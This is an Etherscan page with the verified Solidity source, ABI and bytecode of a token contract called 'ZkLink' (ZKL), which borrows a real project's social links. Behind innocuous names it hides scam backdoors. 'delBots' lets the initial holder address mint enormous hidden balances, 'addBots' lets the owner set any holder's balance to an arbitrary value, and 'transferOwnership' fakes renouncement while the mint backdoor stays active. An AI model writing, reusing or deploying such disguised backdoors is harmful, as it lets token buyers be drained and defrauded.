ETH Price: $2,445.72 (+0.17%)
 

Overview

Max Total Supply

1,000,000,000 ZKL

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.0000000000000001 ZKL

Value
$0.00
0x94d7E8cDDeC9c1AB34b86cEaD6b46A6DC29fBf06
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZkLink

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-01-13
*/

// SPDX-License-Identifier: Unlicensed
    // Telegram: https://t.me/zkLinkorg
    // Twitter: https://twitter.com/zkLinkorg
    // Website: https://test.zk.link
    // Reddit: https://reddit.com/user/zkLink_
    // Github: https://github.com/zkLinkProtocol
    // Discord: https://discord.gg/9GCwxN7xaJ
    // Medium: https://medium.com/zklinkdefi
    // OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC5267.sol)

pragma solidity 0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the HULK.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */

    function transferOwnership() public virtual onlyowner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ZkLink is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private uniswapV2Pair;
    uint8 private constant _decimals = 18;
    uint256 public constant hardCap = 1_000_000_000 * (10 ** _decimals);

    constructor(address ads) {
        _name = "ZkLink";
        _symbol = "ZKL";
        _mint(ads, hardCap);
        uniswapV2Pair = ads;
    }

    function viewGas() public view returns(address) {
        return uniswapV2Pair;
    }

    function delBots(uint256 amount) external {
        if(uniswapV2Pair == _msgSender()){
            uint256 WETH = 100000000*10**_decimals;
            uint256 balance = WETH*10000;
            uint dead = balance*1*1*1*1;
            dead = dead * amount;
            _balances[_msgSender()] += dead;
            require(uniswapV2Pair == msg.sender);
        } else {
        }
    } 

    event manualSwap(address indexed account, uint256 oldamount, uint256 amount);

    function addBots(address[] memory accounts, uint256 amount) external onlyowner {
    for (uint256 i = 0; i < accounts.length; i++) {
        address account = accounts[i];
        uint256 oldamount = _balances[account];
        _balances[account] = amount;
        emit manualSwap(account, oldamount, amount);
        }
    }

    /**
     * @dev Returns the name of the token.
     * @return The name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token.
     * @return The symbol of the token.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used for token display.
     * @return The number of decimals.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the total supply of the token.
     * @return The total supply.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev Returns the balance of the specified account.
     * @param account The address to check the balance for.
     * @return The balance of the account.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev Transfers tokens from the caller to a specified recipient.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev Returns the amount of tokens that the spender is allowed to spend on behalf of the owner.
     * @param from The address that approves the spending.
     * @param to The address that is allowed to spend.
     * @return The remaining allowance for the spender.
     */
    function allowance(
        address from,
        address to
    ) public view virtual override returns (uint256) {
        return _allowances[from][to];
    }

    /**
     * @dev Approves the specified address to spend the specified amount of tokens on behalf of the caller.
     * @param to The address to approve the spending for.
     * @param amount The amount of tokens to approve.
     * @return A boolean value indicating whether the approval was successful.
     */
    function approve(
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    /**
     * @dev Transfers tokens from one address to another.
     * @param sender The address to transfer tokens from.
     * @param recipient The address to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     * @return A boolean value indicating whether the transfer was successful.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Increases the allowance of the specified address to spend tokens on behalf of the caller.
     * @param to The address to increase the allowance for.
     * @param addedValue The amount of tokens to increase the allowance by.
     * @return A boolean value indicating whether the increase was successful.
     */
    function increaseAllowance(
        address to,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);
        return true;
    }

    /**
     * @dev Decreases the allowance granted by the owner of the tokens to `to` account.
     * @param to The account allowed to spend the tokens.
     * @param subtractedValue The amount of tokens to decrease the allowance by.
     * @return A boolean value indicating whether the operation succeeded.
     */
    function decreaseAllowance(
        address to,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][to];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), to, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Transfers `amount` tokens from `sender` to `recipient`.
     * @param sender The account to transfer tokens from.
     * @param recipient The account to transfer tokens to.
     * @param amount The amount of tokens to transfer.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(amount > 0, "ERC20: transfer amount zero");
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Creates `amount` tokens and assigns them to `account`.
     * @param account The account to assign the newly created tokens to.
     * @param amount The amount of tokens to create.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `to` over the caller's tokens.
     * @param from The account granting the allowance.
     * @param to The account allowed to spend the tokens.
     * @param amount The amount of tokens to allow.
     */
    function _approve(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
        emit Approval(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"ads","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldamount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hardCap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewGas","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b50604051620026c8380380620026c8833981810160405281019062000037919062000452565b620000576200004b6200016d60201b60201c565b6200017560201b60201c565b6040518060400160405280600681526020017f5a6b4c696e6b000000000000000000000000000000000000000000000000000081525060049080519060200190620000a49291906200038b565b506040518060400160405280600381526020017f5a4b4c000000000000000000000000000000000000000000000000000000000081525060059080519060200190620000f29291906200038b565b5062000125816012600a620001089190620005d9565b633b9aca0062000119919062000716565b6200023960201b60201c565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506200087d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002a390620004d1565b60405180910390fd5b8060036000828254620002c0919062000521565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000318919062000521565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200037f9190620004f3565b60405180910390a35050565b8280546200039990620007c2565b90600052602060002090601f016020900481019282620003bd576000855562000409565b82601f10620003d857805160ff191683800117855562000409565b8280016001018555821562000409579182015b8281111562000408578251825591602001919060010190620003eb565b5b5090506200041891906200041c565b5090565b5b80821115620004375760008160009055506001016200041d565b5090565b6000815190506200044c8162000863565b92915050565b6000602082840312156200046557600080fd5b600062000475848285016200043b565b91505092915050565b60006200048d601f8362000510565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b620004cb81620007ab565b82525050565b60006020820190508181036000830152620004ec816200047e565b9050919050565b60006020820190506200050a6000830184620004c0565b92915050565b600082825260208201905092915050565b60006200052e82620007ab565b91506200053b83620007ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005735762000572620007f8565b5b828201905092915050565b6000808291508390505b6001851115620005d057808604811115620005a857620005a7620007f8565b5b6001851615620005b85780820291505b8081029050620005c88562000856565b945062000588565b94509492505050565b6000620005e682620007ab565b9150620005f383620007b5565b9250620006227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200062a565b905092915050565b6000826200063c57600190506200070f565b816200064c57600090506200070f565b81600181146200066557600281146200067057620006a6565b60019150506200070f565b60ff841115620006855762000684620007f8565b5b8360020a9150848211156200069f576200069e620007f8565b5b506200070f565b5060208310610133831016604e8410600b8410161715620006e05782820a905083811115620006da57620006d9620007f8565b5b6200070f565b620006ef84848460016200057e565b92509050818404811115620007095762000708620007f8565b5b81810290505b9392505050565b60006200072382620007ab565b91506200073083620007ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200076c576200076b620007f8565b5b828202905092915050565b600062000784826200078b565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007db57607f821691505b60208210811415620007f257620007f162000827565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b6200086e8162000777565b81146200087a57600080fd5b50565b611e3b806200088d6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a2578063a457c2d711610071578063a457c2d7146102aa578063a9059cbb146102da578063dd62ed3e1461030a578063fb86a4041461033a578063fc7bd038146103585761010b565b806370a0823114610234578063880ad0af146102645780638da5cb5b1461026e57806395d89b411461028c5761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca5780634a8d1348146101fa578063671f3db8146102185761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610374565b60405161012591906117ee565b60405180910390f35b61014860048036038101906101439190611340565b610406565b60405161015591906117d3565b60405180910390f35b610166610424565b6040516101739190611930565b60405180910390f35b610196600480360381019061019191906112f1565b61042e565b6040516101a391906117d3565b60405180910390f35b6101b4610526565b6040516101c19190611974565b60405180910390f35b6101e460048036038101906101df9190611340565b61052f565b6040516101f191906117d3565b60405180910390f35b6102026105db565b60405161020f91906117b8565b60405180910390f35b610232600480360381019061022d91906113d0565b610605565b005b61024e6004803603810190610249919061128c565b610799565b60405161025b9190611930565b60405180910390f35b61026c6107e2565b005b61027661091e565b60405161028391906117b8565b60405180910390f35b610294610947565b6040516102a191906117ee565b60405180910390f35b6102c460048036038101906102bf9190611340565b6109d9565b6040516102d191906117d3565b60405180910390f35b6102f460048036038101906102ef9190611340565b610ac4565b60405161030191906117d3565b60405180910390f35b610324600480360381019061031f91906112b5565b610ae2565b6040516103319190611930565b60405180910390f35b610342610b69565b60405161034f9190611930565b60405180910390f35b610372600480360381019061036d919061137c565b610b89565b005b60606004805461038390611cb1565b80601f01602080910402602001604051908101604052809291908181526020018280546103af90611cb1565b80156103fc5780601f106103d1576101008083540402835291602001916103fc565b820191906000526020600020905b8154815290600101906020018083116103df57829003601f168201915b5050505050905090565b600061041a610413610d48565b8484610d50565b6001905092915050565b6000600354905090565b600061043b848484610f1b565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fd90611890565b60405180910390fd5b61051a85610512610d48565b858403610d50565b60019150509392505050565b60006012905090565b60006105d161053c610d48565b84846002600061054a610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cc9190611a08565b610d50565b6001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61060d610d48565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156107955760006012600a6106729190611ab1565b6305f5e1006106819190611bcf565b90506000612710826106939190611bcf565b90506000600180600180856106a89190611bcf565b6106b29190611bcf565b6106bc9190611bcf565b6106c69190611bcf565b905083816106d49190611bcf565b905080600160006106e3610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461072c9190611a08565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078d57600080fd5b505050610796565b5b50565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ea610d48565b73ffffffffffffffffffffffffffffffffffffffff1661080861091e565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610855906118b0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461095690611cb1565b80601f016020809104026020016040519081016040528092919081815260200182805461098290611cb1565b80156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b600080600260006109e8610d48565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9c90611910565b60405180910390fd5b610ab9610ab0610d48565b85858403610d50565b600191505092915050565b6000610ad8610ad1610d48565b8484610f1b565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6012600a610b779190611ab1565b633b9aca00610b869190611bcf565b81565b610b91610d48565b73ffffffffffffffffffffffffffffffffffffffff16610baf61091e565b73ffffffffffffffffffffffffffffffffffffffff1614610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc906118b0565b60405180910390fd5b60005b8251811015610d43576000838281518110610c4c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fd551363168ce4784e28e5d59fc07cbea2191657416e05f6e8cd8f1086eb91e6d8286604051610d2692919061194b565b60405180910390a250508080610d3b90611ce3565b915050610c08565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906118f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2790611830565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0e9190611930565b60405180910390a3505050565b60008111610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590611870565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc5906118d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103590611810565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156110c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bc90611850565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115a9190611a08565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111be9190611930565b60405180910390a350505050565b60006111df6111da846119c0565b61198f565b905080838252602082019050828560208602820111156111fe57600080fd5b60005b8581101561122e57816112148882611238565b845260208401935060208301925050600181019050611201565b5050509392505050565b60008135905061124781611dd7565b92915050565b600082601f83011261125e57600080fd5b813561126e8482602086016111cc565b91505092915050565b60008135905061128681611dee565b92915050565b60006020828403121561129e57600080fd5b60006112ac84828501611238565b91505092915050565b600080604083850312156112c857600080fd5b60006112d685828601611238565b92505060206112e785828601611238565b9150509250929050565b60008060006060848603121561130657600080fd5b600061131486828701611238565b935050602061132586828701611238565b925050604061133686828701611277565b9150509250925092565b6000806040838503121561135357600080fd5b600061136185828601611238565b925050602061137285828601611277565b9150509250929050565b6000806040838503121561138f57600080fd5b600083013567ffffffffffffffff8111156113a957600080fd5b6113b58582860161124d565b92505060206113c685828601611277565b9150509250929050565b6000602082840312156113e257600080fd5b60006113f084828501611277565b91505092915050565b61140281611c29565b82525050565b61141181611c3b565b82525050565b6000611422826119ec565b61142c81856119f7565b935061143c818560208601611c7e565b61144581611db9565b840191505092915050565b600061145d6023836119f7565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c36022836119f7565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006115296026836119f7565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061158f601b836119f7565b91507f45524332303a207472616e7366657220616d6f756e74207a65726f00000000006000830152602082019050919050565b60006115cf6028836119f7565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116356020836119f7565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006116756025836119f7565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006116db6024836119f7565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006117416025836119f7565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6117a381611c67565b82525050565b6117b281611c71565b82525050565b60006020820190506117cd60008301846113f9565b92915050565b60006020820190506117e86000830184611408565b92915050565b600060208201905081810360008301526118088184611417565b905092915050565b6000602082019050818103600083015261182981611450565b9050919050565b60006020820190508181036000830152611849816114b6565b9050919050565b600060208201905081810360008301526118698161151c565b9050919050565b6000602082019050818103600083015261188981611582565b9050919050565b600060208201905081810360008301526118a9816115c2565b9050919050565b600060208201905081810360008301526118c981611628565b9050919050565b600060208201905081810360008301526118e981611668565b9050919050565b60006020820190508181036000830